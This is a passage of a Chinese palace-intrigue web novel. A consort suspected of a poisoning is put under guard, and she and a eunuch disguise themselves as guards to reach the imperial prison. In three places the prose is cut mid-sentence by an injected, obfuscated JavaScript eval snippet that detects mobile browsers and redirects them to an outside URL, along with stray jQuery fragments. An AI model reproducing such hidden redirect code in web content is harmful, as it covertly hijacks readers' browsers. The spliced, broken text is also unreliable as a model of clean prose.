不一会儿,这位王司膳便被两名禁军押送了上来,她看上去年逾不惑,生得珠圆玉润,体态丰腴,但一双瞪得跟铜铃似的杏眼中尽是凌厉,一看便是个不好相与之人。 周徵例行公事地将那碗蟹肉羹摆在她面前,问道:“这可是你做的?” 王司膳愣了一下,随即冷笑道:“奴婢是熬了蟹肉羹不假,但尚食局这么多人,别人也做了。” 周徵见她还妄图狡辩对抗审问,便说:“尚仪局的宫女对锦衣卫已经全招了,送给易常在的这碗粥,就是从你那里端走的。毒害后宫嫔妃乃是重罪,你若不承认就休怪锦衣卫对你上刑了。” 王司膳一听,脸色唰地一下白了,刚才面上的有恃无恐已烟消云散。 “什么,毒害……”她双唇发紫道,“我、我、没有毒害嫔妃,那,那不是泻药吗?这究竟是怎么回事!” 周徵心知这其中又有新情况,便只好命燕二将纯容华之死告知她一二,并逼她交代是从何处得到的毒药。面对锦衣卫的拷问与威慑,刚才还盛世凌人的王司膳立马像一只蔫掉的茄子跌坐在地。 她向锦衣卫交代道,那瓶药水无色无味,具体是什么作用她其实也并不清楚,只是对方在给她的字条上传信说是泻药,并不会被银针查出来,她只想帮自己的主子出一口气,报复一下易琉璃。这瓶药被埋在了宫正司外的一棵枣树下,她根据字条上的指示将它挖了出来,并加进了今夜宴会上呈给易琉璃的那碗蟹肉羹里。 “是谁给你的字条?”周徵凛然道,“字条现下在哪里?” 王司膳脸色发白地看了云昭昭一眼,吞吞吐吐道:“昭阳殿的逐……逐月,那字条上是落的她的名字。那、那张纸条已经被奴婢烧了。” “单凭一个落款你就能指认是本宫身边人做的?” 云昭昭强装淡定,其实心里已经七上八下的了,她明明一直叫人盯着逐月,但即使这样,逐月在宫里多年,要使些小手段给人递个纸条传个信什么的,应该也不难。 现在的情形对她已是非常不利,云昭昭的心里仿佛装着一面鼓,砰砰的心跳声好似敲击的鼓点,在提醒着她,书里的剧情即将复现。 王司膳面对她的质问,也不知道怎么回答,只能支支吾吾地说,“可是……只有她,她才知道我以前的那些事……” 没人去关注王司膳一介厨娘身上到底隐藏着什么秘密,显而易见,盛气凌人的云贵妃指使手下毒害易常在却误杀了怀有皇嗣的纯容华这样的剧情明显更有冲击性。 所有人的目光再次聚焦在云昭昭身上,甚至连装着要与她撇清关系的柳氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108309|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都有些担忧地望着她。 周徵并不急着下定论,他冷静地指挥燕二道:“去,带人去昭阳殿把女官逐月押来。” 等待的时间总是格外漫长,也不知过了多久,久到云昭昭觉得自己站着的两条腿有些发麻,像是被钉在了原地一样,才见燕二步履匆匆地独自返回殿内。 “侯爷,不好了。”燕二表情有些微妙,他顿了顿道:“那名叫逐月的女官自杀了。” “你说什么?!” 云昭昭心下大震,身形剧烈摇晃了两下,才堪堪站稳。 死了? 还是自杀的? 她不敢相信自己的耳朵。 她茫然地睁大了双眼,直勾勾地盯着燕二,她很想上前抓住他质问,质问他是不是认错了人,是不是看错了,是不是在开玩笑。 然而燕二立刻回应了她心底疑虑,他同周徵汇报道:“属下到昭阳殿的时候,得知这逐月被贵妃关在了自己房中软禁,并派了一个名叫玉绯的宫女守着她。属下去的时候,逐月房中一点动静都没有,玉绯甚至已经睡着了。” “后来,属下叫醒了玉绯,我们两人一同叩门,可无论如何,那屋子被从内反锁着,一直都没人应。玉绯说逐月今日一直把自己关在屋内没有出来过,属下只好与其他同僚合力将门揣开,这才发现,这逐月已在房中上吊自尽,尸体都凉了,初步看来已经死了三四个时辰了。” 他一说完,没等太后与周徵说话,裴若桑的母亲张氏便像疯了一样挣脱几名女官的束缚,朝着云昭昭扑了过去,掐住她的脖子道: “你这个贱人!蛇蝎毒妇!我跟你拼了,替我家桑儿报仇!” 她几乎使出了吃奶的力气,云昭昭被她扼住脖子,根本喘不过气。 身体里的力气在渐渐地流逝。 云昭昭的脑海深处,似乎有一个疯狂的女人在冲她狂笑,仿佛扼住她喉咙的,不是张氏,而是未知的虚空里,那不可名状的,只能被称作命运的东西。 那个长得跟现在的她一模一样的女人似乎在说:看吧看吧,你还妄图做什么好人,你本就是作恶多端的恶毒女配。你躲不开你应走的命运,你也洗不白这满身的污秽,是你要赶她走,是你逼死了她! 逐月因她而死,是她逼死了逐月?! 云昭昭在心里对自己说着。 她大口大口地喘息,可无论如何都呼吸不上新鲜的空气,眼底渐渐蒙上一层黑色。 周围金碧辉煌的陈设,拥拥攘攘的人群,一切的实物,都逐渐扭曲变形,她死死地盯着周徵一步一步靠近的身影,几乎可以预见他下一秒张嘴就要说出将她押入诏狱的判决。 她只觉得百口莫辩,但心里的不甘与委屈又如海啸的潮水一般,铺天盖地,席卷而来,淹没了她,本能的求生欲促使她只能张着嘴,流着泪,发出嘶哑呜咽的声音。 缺氧的窒息感让云昭昭很快意识模糊,在她完全丧失知觉前,她依稀记得,是周徵过来将陷入疯癫的张氏控制住,然后现场有一个熟悉的声音站了出来,告诉众人,是她指使的逐月做了这一切。 黑暗很快降临,等云昭昭再次醒来的时候,她已躺在昭阳殿的榻上。 夜空中一轮孤月高高地悬在天上,夜色已深,更寒露重,朦朦胧胧的月光下,那轮月亮似乎已不如之前那样圆了。 这一夜的经过仿佛一场漫长而荒诞的梦境,云昭昭很希望它是梦,但睁眼后流霜那张满脸泪痕的脸,又在提醒着她,那不是梦。 她忍着发痒干涩的嗓子,问她:“怎么了?” 流霜见她醒来,心中痛楚之意更甚,索性趴在锦被上啜泣着说:“夫人,夫人被锦衣卫带走了,关进了诏狱。” “什么?”云昭昭难以置信地望着她,胸口涌起一股强烈的酸意。 流霜已哭成了泪人,断断续续道:“小姐你晕过去了……夫人她,她当着大家的面,承认是她指使的……与小姐无关,后来,后来武安侯问了她几个问题,就……就把她押去诏狱审问了。” 云昭昭闻言心中大恸,脑子里嗡地一声巨响。 流霜已哭得不能自已,又道:“但,但武安侯,他,他还是不相信小姐……现在昭阳殿外,都是禁军在看着……” 34. 禁锢 当云昭昭撑着虚弱的身子,借着月色披衣去殿门口查看时,才知道流霜所言非虚。 昭阳殿的前后两道大门处,各有八名身形高大魁梧的禁军把守着,而宫殿侧面宫女们日常办事出入所走的两道小门,也各有四名禁军严密地看管着,任何人想要外出都会被阻拦。 这阵仗,明摆着就是连只苍蝇都不愿从殿内放出去。 云昭昭泄了气,颓丧地回到寝殿。现下夜色已深,估计已是三四更天了。想到柳氏已在诏狱里被关了几个时辰,她不禁又急又气,忍不住扯了身上的中衣摔在榻上撒气,可一通发泄后,脑子里仍像糊着一团浆糊,一时也想不出什么主意。 云昭昭只得像个木偶般地躺回榻上,望着窗外的夜空出神。想到今天宴会上的疑点,她随口问道:“汀雪那丫头呢?叫她来见我。” 被她这一问,流霜立刻拧了两道秀眉,停下了手中的动作,面带疑虑。 见她神情有异,云昭昭问:“怎么了?” 流霜这放下手中的茶壶,跪在床边支支吾吾地回答:“汀雪她,她也被武、武安侯扣下了……因为晚宴上她离席太久,武安侯认为她嫌疑很大……” 呵,果然是祸不单行啊。云昭昭头疼地扶额。 “小姐,你说……你说汀雪她如果真像我们之前猜测的那样,那在锦衣卫手下,她岂不是可能做出什么对你不利的事来?”流霜自责地说,“都怨我,哎!没能拦下锦衣卫的人!” “就你这身板,还想跟锦衣卫斗?”云昭昭只得安慰道,“不怪你,事已至此,再怪来怪去的也没用,你也累了一晚上了,赶紧回去歇着吧。” 流霜瞧着云昭昭惨白疲惫的一张脸,有些放心不下。 “可小姐,你怎么办,你脸色这么不好……” “我只是累了,去吧,容我一个人清净会儿。”云昭昭翻过身,背对着她,揉着太阳穴道。 流霜本想留在这里照看,但听她语气坚决,只得为她温好茶,放下帘子,蹑手蹑脚地离开了。 她一走,空荡荡的殿内便只剩下呼呼的风声,吹得窗棂上的麻纸发出滋啦滋啦的声响,听得云昭昭头疼不已。宛若一把生锈的小刀,在一点一点地使劲刮擦着她的头皮。 虽然汀雪在她心里的嫌疑还尚未完全洗清,但她到底是从小跟在原身身边的丫头。云昭昭也很自然地将她当成了自己的人。自己人犯了事,背叛了,该怎么处理也是自己的事,怎么能轮到他周徵插手呢? 而且正如流霜所担心的那样,周徵上次在赏菊宴上意有所指,说不定在秋儿的死一事上早就怀疑上汀雪了。这次落到周徵手里,汀雪就像一块送上门的肥肉一样,只怕是凶多吉少。且不说她如今还立场不明,最终她会供出些什么,也未可知。 云昭昭越想越觉得不寒而栗,可她如今被软禁在昭阳殿,是一点办法也没有。 但她决不能就此坐以待毙。 她辗转反侧,夙夜难眠,最后在东方既白的时候,才迷迷糊糊地睡了一个时辰。 第二日清晨,云昭昭睁开眼后的第一件事便是叫来了玉绯。 她病殃殃地趴在榻上,借自己头晕脑胀,身子保护舒服为由,想让玉绯出宫去为自己请太医,顺便探查一下外头的消息。 结果,玉绯出去了片刻的工夫就折返了回来。她气喘吁吁禀告道:“贵妃娘娘,奴婢一到门口就被那几名禁军拦下了。” “奴婢按您所吩咐的那样,向他们转述了娘娘您身子不适的情况,只说我要去太医院请太医,结果谁曾想那其中一人,凶神恶煞地盯着奴婢,呵斥说:‘请什么太医,武安侯特地强调了,任何人不得出宫门半步,请太医的事自会由我们禁军代劳。’他都这么说了,奴婢只得回来了……”玉绯带着歉意解释道。 云昭昭自然不能怪她,只好在心中又将那姓周的家伙的祖宗十八代骂了个遍。 她不甘心就此罢休,便在殿内来回踱步,绞尽脑汁、挖空了心思想出去的办法。 忽地,她瞥见沉香木桌案上半开的妆奁,眼睛登时一亮。 云昭昭激动地上前打开铜镜下的第二格小抽屉。前日陪着柳氏一道前来的,那位名叫薛炼的御马监提督留给她的牙牌静静地躺在小格里。 他当时说什么来着?将来有需要的时候让人拿着牙牌去御马监找他…… 是了,他作为御马监提督,不正能统领调动禁军吗?既然他有办法将柳氏带来见她,那想必带她出这昭阳殿也是不难。 “流霜!” 云昭昭激动地唤着流霜,顺手将那块边缘泛黄的旧牙牌取出,像捧着什么易碎的珍宝一样紧紧攥在手心里。 “小姐,什么事!”流霜一进门就看见云昭昭面色红润,精神百倍地看着自己,与昨夜简直判若两人。 “小姐,你这是,有什么喜事了吗?”她不解道。 “我有主意了!”云昭昭不由分说地将那块牙牌塞进流霜手里,“我刚才注意到殿内点灯的灯油不多了。你就说你要去领灯油,然后你揣好这块牌子,避着人去找御马监的薛炼薛提督帮忙。他自然知道怎么办。” 流霜见她有了精神,脸上也重新焕发了神采,心里高兴,便二话没说,揣着牌子就出门去了。 然而事与愿违,流霜只比玉绯多用了半炷香的工夫便回来了。 见她鼓着腮帮,垂头丧脑的样子,云昭昭便知道这事儿又没办成。 流霜从怀中取出藏着的牙牌递给云昭昭,气冲冲地说:“太过分了,那帮臭男人!” “怎么了!” 流霜满脸通红,委屈道:“我按小姐的吩咐,说我要去尚宫局领灯油。你猜那群臭男人说什么,说武安侯‘专门’吩咐过,这些时日昭阳殿的吃穿用度都会由专人送到殿门口,再由他们搜查过后才允许入殿。我当时不服,气得硬呛了他们几句,就有人说我是要去给外面的情郎递东西,作势要搜我的身。我呸,一群腌臜货!” 云昭昭只得作罢,安慰了流霜几句,恹恹地吃起了早膳。但她心里仍不甘心,不愿就此坐以待毙,于是早膳过后,她又带着流霜到后殿逐月的院子中去,想看看逐月的房间里能否搜到一些有用的线索。 哪知道云昭昭刚一踏进那个积满了落叶的小院里,就看见逐月的房门口大喇喇地矗立着两尊身着靛青棉甲,腰佩绣春刀的“大佛”。 这二人正是周徵的属下燕二与他的同僚。 虽然总在周徵面前伏低做小,但燕二好歹乃堂堂锦衣卫佥事,统领北镇抚司,今日被周徵安排来守着这后宫死过人的院子,正憋了一肚子的气。他严重怀疑自己那位秉公职守的冷面上司是为了报复上月他在兄弟们面前说他不解风情的坏话。 他正在心里埋怨着周徵,抬眼就看到院门口出现了一两个倩丽的身影。 这一看,燕二直接倒吸了一口凉气。 只见右边的蓝衣女子,她虽褪去了昨夜的锦衣华服,只着了一件素绢常服,未施粉黛,略略绾起的发髻上簪着两只秀气的桂枝,但这样简约的装束反而衬出了她明艳的绝色风姿,甚至比昨晚宴会时更加耀眼。 燕二一时竟看得呆了。 什么京城第一美人,什么醉仙楼的芷清姑娘!他如今这才知道什么叫做绝色,难怪当时侯爷嘲讽他没见过美人,如今一见,天下绝色,果真是藏在帝阁殿宇之中,哪能让凡人轻易窥伺? 晃眼间绝色女子已走近,黛眉颦蹙,凤眸凝光,愠怒的神色反而让她多了分傲然英气,燕二看得喉头发紧,忍不住小心翼翼地咽了一下口水。 云昭昭见他那副怔怔然的呆样,一下就想到了他的上司过去肆无忌惮的眼神,她当即把对周徵的不爽清算到了燕二头上,轻咳一声,没好气地道:“看来你们锦衣卫的风气果真是一脉相承。这位大人,本宫想进这屋子,还请一让。” 燕二闻言立马回到了现实,他清了清脑子,敛了神色,持刀挡在云昭昭二人跟前。 “贵妃娘娘请留步。” 云昭昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108310|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬眼,厉声质问道:“你们什么意思,这是本宫的宫殿,本宫身边女官的屋子还不准本宫进去吗?” 燕二没有半分退让,只是道:“还请贵妃娘娘赎罪,臣等也只是奉侯爷之命,为防有歹人破坏证据,侯爷这才命我二人轮守在案发现场,不得离开半步。” 云昭昭听他说得冠冕堂皇,义正言辞,不禁冷笑。 说什么防着歹人,不过就是周徵要防着自己来搜查罢了。殿外派了那么多禁军严密把守还不放心,殿内还要将自己身边的属下安插进来监视自己。 云昭昭气得不行,她狠狠地剜了一眼燕二两人,便带着流霜拂袖而去。 回到正殿,想到周徵的所作所为,她简直越想越气,恨得牙痒痒。以至于禁军派人叫的太医前来为她诊脉后告知她是急火攻心,热邪过盛,并委婉地提醒她要宁心静气,事缓则圆,让她注意情绪控制。 这让尚在气头上的云昭昭看来,这老太医就是在变着花儿地说她脾气大,这等不知好歹之人,说不定也是跟那姓周的一伙的。 再之后,流霜为她熬了药来,她只尝了一口觉得苦便让拿去倒了;玉绯为她端来午膳,她也模样恹恹地吃不下,结果一直到了傍晚,云昭昭更是连晚膳都不想碰,只一个人躺在榻上,面朝墙壁,背对着外面,一躺就是大半个晚上。 流霜很清楚她是因为柳氏而自责,在自己同自己怄气。她担心她的身子,端着热好的小米粥,轻轻地走到榻前,安慰道:“小姐,别想太多了,夫人左右不过是一介弱质女流,谅他武安侯也不敢对她如何,她定会安然无事的,你就放宽心吧。” 她不说还好,一说便说到了云昭昭的痛处。 只见云昭昭侧躺的肩膀耸动了几下,很快就将头蒙进了被子里。 流霜呆住了。 “小姐,你……你哭了?” 可无论她之后说什么,再如何安慰,云昭昭就是不肯转过身来。 流霜心知自家小姐心气高,不愿让人瞧见自己哭的样子,只好叹着气将小米粥放在了桌上,替云昭昭掩了掩被角,转身离开了。 她一走,云昭昭这才敢放声地躲在被子里哭。 她清楚地记得原书里柳氏入诏狱后的情形。她身子骨本来就弱,又在云家败落后受了打击,根本禁不起锦衣卫的严刑拷打,最后便在狱中含恨而亡。 如今时局虽还没严峻到书里那种地步,但柳氏作为云琛的夫人自然是知道关于他的不少事。此外,她还很怕周徵拿着柳氏的生命安危同云琛做什么交换,一如当初赵昶拿让“她”入宫做交换那样。 她又气又悔,先是气周徵,后来又气赵昶,最后气自己,她悔的是自己之前三番五次地做事不周全,才让人揪了把柄去,以此害了柳氏,害了云家。 说不定过了今夜,一切就结束了。 云昭昭一把鼻涕一把泪地抹在织金锦被上。哭得久了,人也累了,她索性翻了个身,像个死人一般绝望地望着窗外的月亮,竟然又迷迷糊糊地昏睡了过去。 夜色深沉,月上中天,打更的太监从外面漫长的甬道上路过,手中的梆子敲了三下。 云昭昭终于被肚子里一阵饥肠辘辘的翻涌之感给饿醒了。 三更天了。 她顺手抹了一把脸上的泪痕,已经干透了,然后披了衣服,也未点烛,只借着月光从榻上爬了起来。 桌上流霜为她留着的小米粥已经凉透了,云昭昭饿到极点也顾不上许多,直接端起碗咕噜咕噜地大口喝了起来。 宫里的夜总是比外头静谧几分,说是皇宫,入了夜却和坟场一般冷寂。 突然间,她听见殿内不远处半开的窗棂发出了吱呀吱呀的轻微的声响。 奇怪,明明没有风的。 然而,还未等她细想,她便听见了一双鞋子落地的声音。 云昭昭端着碗的手瞬间一滞。 !!! 紧接着的下一秒,她对上了黑暗中一双闪着精光的眼眸。 35. 夜闯 云昭昭的瞳孔在黑暗中迅速放大。 来者是个男人,一个武功高强的男人。 意识到这一点后,入宫那一夜周徵大喇喇地夜闯永麟殿的情形,便再次浮现在了她的脑海。 只弄出了一点微不可查的声响,甚至还有胆量、且有能力在禁军与锦衣卫双重把守下,趁夜潜入昭阳殿,阖宫上下有这等本事的人,除了周徵,她一时也想不到第二人。 而本该在诏狱里审讯自己母亲的周徵,会在这时前来,准没有什么好事。 几乎是下意识的,云昭昭向后退了几步,摸黑从一旁的妆台上顺了一支金簪,紧紧地攥在手里。 月亮这时正好被天上的乌云遮蔽,殿内一片昏暗,她只能勉强辨识出黑暗中男人高大的身形。 “娘娘。” 他刻意压低了声音,低沉中带着一丝沙哑,像是生了锈的钝器,与周徵清朗的嗓音相去甚远,甚至是一个天上一个地下。 来者并不是周徵。 云昭昭略微舒了口气,但很快,她反应过来,一个陌生的、武功高强的男人,能在禁军与锦衣卫的眼皮子底下闯入自己寝殿,恐怕是个更大的麻烦。 她捏着簪子的手指微微颤抖,“你是谁!” 见那人缓步朝自己走来,云昭昭将金簪的尖端对准他,护在自己胸前。 “你,你别过来!这外面都是禁军,还有锦衣卫,你若再敢往前一步,本宫就叫人了!” 那男人果真停住了脚步。 然而下一秒,只听一声闷响,那人竟是屈膝跪倒在地。 “娘娘,是臣。”那人有些拘谨,随后又补充了一句,“臣乃御马监提督薛炼,之前咱们见过的。” 中秋那天柳氏的谆谆嘱托还萦绕在耳边,既然柳氏再三叮嘱,那薛炼便是信得过的人。 云昭昭心里的石头终于落了地,手中的金簪应声滑落,她靠在床柱上大口地呼着气,身体仍保持着刚才紧绷的状态,后背冷汗淋漓。 “啊……是,是你啊。”她心有余悸道,“我白天本来还想差人去找你呢,只可惜……不让出去。” 薛炼:“武安侯专门吩咐了禁军要严密把守昭阳殿,如今他执掌京中四大营,又深得陛下信赖,所以禁军虽明面上由御马监统领调度,但实际上谁能不给他武安侯的面子呢?因此臣在白日里也不敢妄动。” “既然外面守卫如此森严,那你今晚又是怎么进来的?”云昭昭好奇道。 “臣调度禁军,自然知道他们夜里换班的时间。因此,只需要避开后院的两名锦衣卫便可。” 原来如此,这薛炼是趁着外面禁军半夜换班的空当,神不知鬼不觉地翻墙进了昭阳殿。云昭昭在心里赞叹他真的好聪明,若是有他从中助力,说不定就能扭转如今云家的境地。 她一下子安心了不少。 之前她一个人,像只无头苍蝇一样四处碰壁,担心了一整天,如今有了薛炼主动前来,她瞬间燃起了希望,哪怕他们之前素不相识,但她依然有不少事要同他商量,甚至还有许多话要同他讲。 失了月光的照耀,屋内暗得很,云昭昭只得寻到宫灯处,捡了一旁的火石想要打燃。她平时见流霜等人用过,便摸索着灯芯的位置,依样画葫芦地将两块石头一起摩擦生火。 可她毕竟是个现代人,根本没用过火石,所以终究是东施效颦,最后努力了半天也只是擦出了一点火星子。 “娘娘。”薛炼在一旁终于看不下去了,“让臣来吧。” 说着他伸出手,从云昭昭手中接过火石。因为太黑,不小心触碰到了云昭昭凝脂般嫩滑的柔夷,他便像犯了禁一般慌乱地避开,二话不说,熟练地点燃了宫灯。 有了光,寝殿内一下子亮堂了起来。 云昭昭终于可以仔细大量眼前这名御马监提督了。 只见他一身黑色的夜行服,与外面昏暗的夜色无异,难怪能够这样悄无声息地避开禁军的守卫潜入殿内。只是他那张略显清俊的脸上,此刻竟染上了一抹诡异的红晕。 “噗。”云昭昭忍不住笑出了声。 薛炼见她一笑,立马忐忑地低下头道:“臣……臣刚才多有失礼,请娘娘恕罪。” 不就是不小心碰了一下手吗,至于么?这人怎么也同周徵那木头一样。云昭昭心想。 意识到自己竟然不自觉地将好心来帮自己的薛炼同周徵那家伙相提并论,她立马摇了摇头,将有关周徵的念头全部扔至脑后。 “罢了,我没放在心上。”云昭昭说,“对了,你可有诏狱里的消息?我娘她们,现在如何了?” 薛炼闻言,略有歉意道:“臣也不知,臣只知道如今外面的局势,对阁老、对娘娘来说……很不利。臣今晚冒死前来,是为了带娘娘出去的。” “出去?”云昭昭眼睛一亮,“去哪里?你能带我进诏狱?” 薛炼抬头,定定地看着她道:“不能,但臣可以保娘娘出宫去,离开这里,离开京城。” “我不走。” 云昭昭想也没想,斩钉截铁道。 曾经刚穿书时,她想尽了法子要逃离云府,要离开京城,却被周徵给当做奸细抓了回来。如今曾经望眼欲穿的机会就在眼前,她却再也没有半分要离开的打算。 “身体发肤受之父母,如今云家危在旦夕,我娘受我所累在诏狱里生死未卜,我怎能一人离开,弃他们于不顾?这岂不是丧尽天良,猪狗都不如?” “可是娘娘,这也是阁老的意思……” “反正我不走。”云昭昭道,“更何况就算我一时逃脱,得以苟且偷生,等到云家一覆灭,赵昶若是非要举全国之力搜查我的下落,我一手无寸铁的女子,又能躲到哪里去?” “臣会保护娘娘。”薛炼道。 云昭昭简直拿他没辙,只好暂时“贬低”一下自己来说服他,“可我从小养尊处优惯了,离了皇宫,出了京城,我又靠什么来养活自己?” “臣会照顾好娘娘。”薛炼想也没想,定定地看着她说,“尽臣最大努力。” 他的目光很沉很沉,像是含了某种极其复杂的情绪,云昭昭不知道他为何会这样,也根本不会去细想。 她一心想要救柳氏,见薛炼如此固执地要带自己离开,索性直接跪在了他的面前。 薛炼:“!!!” “不可,不可如此,娘娘!”他惊慌道,一时手足无措,不知道究竟是该上前扶她还是不扶。 云昭昭见薛炼这幅犯难的表情,知道自己这招奏了效,索性一不做二不休。 “薛提督。”她这样称呼他。 “娘娘……臣,臣……” 云昭昭满眼期盼,定定地看着他,“我求您了,我娘她身子弱,又有病根,根本经不起锦衣卫的酷刑,我看得出,您的武功非同寻常,就是后院那两名锦衣卫一起也不是您的对手,如今我娘在诏狱里生死未卜,您不要管我,求您想办法救救她吧!” 薛炼面对她如此苦苦哀求,既为难,又十分无奈。他叹了口气道:“娘娘,不是臣不想救云夫人,只是……诏狱戒备森严,臣也没有任何办法。” 话已说到这份上,云昭昭仍不甘心。毕竟薛炼这样的身手,在宫里恐怕除了周徵外难逢敌手,若是有他在都做不了什么,那单靠她自己,更是别想救柳氏了。 她忽地想到了守在逐月房外的燕二两人,不禁看向后殿,眸光微动。 “若是用锦衣卫的名义进去呢?” 薛炼已经猜到她在想什么,连忙劝阻道:“万万不可,娘娘,诏狱里机关重重,咱们这样冒着大不韪即使闯了进去,也只怕是有去无回。” “只要能将我娘救出来,无论如何我都要去试。”云昭昭斩钉截铁道,“大不了,就留我在诏狱里,反正昨夜宴会上纯容华的意外,也是因我而起的。” 薛炼闻言,为难道:“可是,阁老吩咐臣一定要护娘娘周全……” 云昭昭:“阁老阁老,你就知道阁老!现在你人在我昭阳殿内,我就是不跟你走,我爹也奈何不了你!可你若是不肯帮我,除了我爹外,你就要再多得罪一个我了!如果我现在大喊一声有刺客轻薄我,你猜,你还能不能毫发无损地脱身呢?” 说罢她摆出一副你能奈我何的神情,看上去甚至还有点小人得志般的得意。 薛炼脸色微红,眉毛动了动。过了半晌,他败下阵来,只得万分无奈地答应了云昭昭的提议。 为了不惊动正在熟睡的宫人,二人蹑手蹑脚地从昭阳殿寝宫的窗户上翻了出去,绕到了后殿逐月的房间外。 三丈宽的小院落里,燕二正与锦衣卫的同僚一起,斜倚在院中那棵粗壮的杨树下打着盹。枯黄的落叶堆了满地,云昭昭伸腿刚踩上去,就发出了沙沙的声响。 “什么人!” 燕二立马惊醒,一声大喝,迅速警觉起来。说时迟那时快,只见一身夜行服的薛炼如同暗夜里一道黑色的利箭般嗖地一下离弦而出,像是踩在水面一样足尖点着落叶,纵身跃至燕二的身后。 燕二和其同僚,甚至来不及转身,便闷哼一声,跌倒在地。 云昭昭在一旁看得目瞪口呆,这个颇为冒险的主意是她想出来的。就在刚才,她还有些担心薛炼一人势单力薄,正面交锋不是两名锦衣卫的对手,但现在看来,完全是她多虑了。 薛炼不仅能在这么多人眼皮子底下潜入昭阳殿,还能如此轻松地撂倒两名锦衣卫,他的武艺自然不用说。说不定,他还能与周徵一较高下。 想到这里,云昭昭对薛炼又多了几分敬佩与惋惜。 此人容貌清朗俊逸,如今能作为云琛的内应安然无恙地待在御 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108311|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马监,想必也是个足智多谋的,再加上不输于周徵的武功,这可真是个不可多得的人才。 只可惜,他偏偏是个太监。 不远处,燕二和他的那名同僚像是尸体一般直挺挺地躺在地上的落叶中。薛炼点了两人的穴位,在他们身上细细搜寻了一番后,扒下了他们的腰牌与外面的锦衣卫制服。 燕二的身材相较他的那名同僚更为高大,薛炼便拣了他的行头,将剩下那人的制服、腰牌、佩刀给了云昭昭,二人一番乔装打扮后,俨然一高一矮两名锦衣卫掌事。 特别是云昭昭,薛炼之前还担心她容貌过于艳丽,太容易穿帮,可此番她不施粉黛,束发戴冠,身着一身深蓝色的锦衣卫劲装,反而显得格外英气,只是相较于寻常男子更显俊美罢了。 薛炼忍不住多看了几眼,直到云昭昭面露疑惑地催促离开,他才略显尴尬地干咳两声,带着云昭昭一前一后,往昭阳殿后门走去。 把守后门的禁军才换了一拨人,正精神着,见有人出来立马呵斥,“什么人?这个点了出宫找死吗?” “是我。” 薛炼面不改色地上前几步,腰间镀金的锦衣卫名牌在夜色中熠熠生辉。 守卫的禁军一眼就瞧见了他的腰牌,立马满脸堆笑道:“还以为是谁呢,原来是燕统领,在下眼神不好,真是失礼了。” “嗯。”薛炼目不斜视,只简单应了一声,一只脚便踏出了昭阳殿的门楣。 云昭昭紧跟其后,心跳得砰砰砰的。 薛炼身形高大,与燕二相似,但她就与那另一名留守的锦衣卫相去甚远。因此,为了不穿帮,她刻意低着头,亦步亦趋地将自己的脸藏在薛炼身后的阴影里。 正好这时,那名禁军守卫又突然叫住了他们二人。 “诶,统领留步,这么晚了,您这是要去哪?”说到这里他瞧见了云昭昭,疑惑地小声嘟囔道,“咦,这位兄弟怎么看着有些矮,还有些面生,锦衣卫怎么什么人都收?” 薛炼只略微瞥了他一眼,语气不善道:“去诏狱,怎么,你也想进去?” 一听到诏狱的名字,那人立马噤若寒蝉:“在下不敢。” 随后再也没人敢阻拦,云昭昭便跟着薛炼正大光明地沿着宫道向诏狱的方向赶去。 他们前脚走,后脚那守卫的禁军士兵便凑在一起小声说:“奇了怪了,你们觉不觉得今天燕统领比起前天像是变了个人似的,凶巴巴的。” “哎,人家好歹也是北镇抚司的镇抚,平时跟咱们笑嘻嘻的那是人客气。你就当真啦?再说了,长期跟在武安侯身边的人,耳濡目染,能不凶吗,不都是一个模子里刻出来的吗!” “话说,你们刚才有没有注意到跟在燕统领身后那个面生的小兄弟啊?” “怎么没注意?那小兄弟身材虽然矮是矮了点,但那长相可是真俊啊!” “诶,你们说,这锦衣卫里可真藏龙卧虎啊,什么人都有,这么俊俏的小哥到底能有多大的本事?看他那步伐,倒像是连武功都不会,咱们哥几个,随便一个人,一拳就能将他撂倒。” “这你就不懂了吧。”一人面带红光,刻意压低了声音,神神秘秘道,“听说武安侯这个年纪了,身边连个女人都没有,前一阵子还当着陛下和太后的面拒绝指婚,现在锦衣卫里又来了个不会武功的俊俏小哥,你们说,还能是因为什么?” “啊,该不会是……懂了懂了。” 大家终于会意,都心领神会地噤了声,满足地回到自己的值守位置上去了。 · 几乎是同一时间,武安侯府的书房内,周徵反复回想着两个时辰前对云昭昭身边那个名叫汀雪的丫头的审讯,突然打了一个喷嚏。 他心烦意乱,桌上的宣纸只写了寥寥几笔,便被他一张张地揉成团,扔在镇纸边的角落里。 汀雪的话像是一根根尖锐的针,扎进了他的胸口里,堵得他喘不过气来。 那些关于他未来的谶语,是他一直最困扰的,最想要挣脱的,却如同一道道黑暗的枷锁将他困在那个名为“武安侯”的诅咒里。 